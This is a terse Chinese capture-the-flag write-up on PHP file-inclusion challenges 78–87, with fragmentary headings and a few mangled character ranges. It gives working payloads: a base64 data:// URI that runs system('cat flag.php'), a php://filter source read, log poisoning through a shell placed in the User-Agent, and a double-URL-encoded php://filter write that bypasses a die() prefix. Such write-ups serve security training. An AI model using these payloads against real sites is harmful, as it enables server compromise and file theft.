web 78web 79web 80web 81web 82-86web 87
web 78data://text/plain,
php://filter/convert.base64-encode/resource=flag.php
file=data://text/plain;base64,PD9waHAgc3lzdGVtKCdjYXQgZmxhZy5waHAnKTs=
//PD9waHAgc3lzdGVtKCdjYXQgZmxhZy5waHAnKTs ===>
web 80
包含日志文件 进行getshell 日志文件路径: ?file=/var/log/nginx/access.log
我们抓个包就可以知道它的服务类型为nginx
然后在user-agent写shell
同上
web 82-86 web 87因为它对php,:,data进行了过滤,并进行了url解码
我们可以对php://filter/write=convert.base64-decode/resource=1.php(把内容写进1.php)进行url二次编码
exp,这个只是第一次url编码然后只要在编码网站再编码一次就行了
content可以对进行base64编码,再在前面加个aa,因为base64是以4个字节为一组而前面的phpdie还差两个字节。
只有ASCII码值为43,45-47,65-90,97-122时,才有base64_reverse_table[ch]>=0,对应字符为 +, / , 09,az,A~Z,其余字符都会被跳过
如本题的 在base64_decode处理的时候可视为phpdie,



